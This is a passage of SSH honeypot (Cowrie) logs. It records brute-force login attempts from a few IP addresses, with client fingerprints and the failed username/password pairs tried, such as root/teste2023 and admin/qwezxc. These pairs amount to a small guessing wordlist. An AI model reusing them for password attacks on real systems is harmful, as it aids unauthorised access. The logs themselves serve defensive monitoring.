{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:28.445454Z","src_ip":"201.184.50.251","session":"c50f1325ade1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:28.489393Z","src_ip":"87.251.64.176","session":"a017ad146047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:28.554515Z","src_ip":"201.184.50.251","session":"c50f1325ade1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdlkj12","message":"login attempt [ubuntu/asdlkj12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:28.999074Z","src_ip":"201.184.50.251","session":"c50f1325ade1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:30.105195Z","src_ip":"201.184.50.251","session":"c50f1325ade1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":58936,"dst_ip":"10.17.0.5","dst_port":22,"session":"0792fd758c9a","protocol":"ssh","message":"New connection: 14.225.205.58:58936 (10.17.0.5:22) [session: 0792fd758c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:43.772473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:43.776801Z","src_ip":"14.225.205.58","session":"0792fd758c9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:44.051074Z","src_ip":"14.225.205.58","session":"0792fd758c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"qwerty","message":"login attempt [username/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:45.179966Z","src_ip":"14.225.205.58","session":"0792fd758c9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:32:46.457931Z","src_ip":"14.225.205.58","session":"0792fd758c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":41458,"dst_ip":"10.17.0.5","dst_port":22,"session":"106301a04e6b","protocol":"ssh","message":"New connection: 41.63.62.103:41458 (10.17.0.5:22) [session: 106301a04e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:04.241176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:04.247953Z","src_ip":"41.63.62.103","session":"106301a04e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:04.512510Z","src_ip":"41.63.62.103","session":"106301a04e6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"admin","message":"login attempt [david/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:05.576274Z","src_ip":"41.63.62.103","session":"106301a04e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:06.847131Z","src_ip":"41.63.62.103","session":"106301a04e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":53532,"dst_ip":"10.17.0.5","dst_port":22,"session":"92284f7cf162","protocol":"ssh","message":"New connection: 201.184.50.251:53532 (10.17.0.5:22) [session: 92284f7cf162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:23.785786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:23.790606Z","src_ip":"201.184.50.251","session":"92284f7cf162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:23.881961Z","src_ip":"201.184.50.251","session":"92284f7cf162","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwezxc","message":"login attempt [admin/qwezxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:24.281403Z","src_ip":"201.184.50.251","session":"92284f7cf162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:25.375746Z","src_ip":"201.184.50.251","session":"92284f7cf162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":49098,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6163ca44e27","protocol":"ssh","message":"New connection: 14.225.205.58:49098 (10.17.0.5:22) [session: e6163ca44e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:43.506319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:43.511168Z","src_ip":"14.225.205.58","session":"e6163ca44e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:43.791747Z","src_ip":"14.225.205.58","session":"e6163ca44e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"temppwd","message":"login attempt [ubuntu/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:44.945797Z","src_ip":"14.225.205.58","session":"e6163ca44e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:33:46.229483Z","src_ip":"14.225.205.58","session":"e6163ca44e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":60096,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecca61a10ffd","protocol":"ssh","message":"New connection: 41.63.62.103:60096 (10.17.0.5:22) [session: ecca61a10ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:12.218038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:12.228227Z","src_ip":"41.63.62.103","session":"ecca61a10ffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:12.492738Z","src_ip":"41.63.62.103","session":"ecca61a10ffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:13.552360Z","src_ip":"41.63.62.103","session":"ecca61a10ffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:14.822070Z","src_ip":"41.63.62.103","session":"ecca61a10ffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":42026,"dst_ip":"10.17.0.5","dst_port":22,"session":"85178d7e30b1","protocol":"ssh","message":"New connection: 201.184.50.251:42026 (10.17.0.5:22) [session: 85178d7e30b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:19.718415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:19.722988Z","src_ip":"201.184.50.251","session":"85178d7e30b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:19.803322Z","src_ip":"201.184.50.251","session":"85178d7e30b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3bot","password":"1234","message":"login attempt [ts3bot/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:20.155140Z","src_ip":"201.184.50.251","session":"85178d7e30b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:21.237543Z","src_ip":"201.184.50.251","session":"85178d7e30b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":51230,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f39d0972ff0","protocol":"ssh","message":"New connection: 14.225.205.58:51230 (10.17.0.5:22) [session: 3f39d0972ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:43.514955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:43.519138Z","src_ip":"14.225.205.58","session":"3f39d0972ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:43.790382Z","src_ip":"14.225.205.58","session":"3f39d0972ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste2023","message":"login attempt [root/teste2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:44.896346Z","src_ip":"14.225.205.58","session":"3f39d0972ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:46.166440Z","src_ip":"14.225.205.58","session":"3f39d0972ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":47960,"dst_ip":"10.17.0.5","dst_port":22,"session":"36d1a0132054","protocol":"ssh","message":"New connection: 103.129.221.202:47960 (10.17.0.5:22) [session: 36d1a0132054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:48.876517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:34:48.881142Z","src_ip":"103.129.221.202","session":"36d1a0132054","protocol":"ssh"}
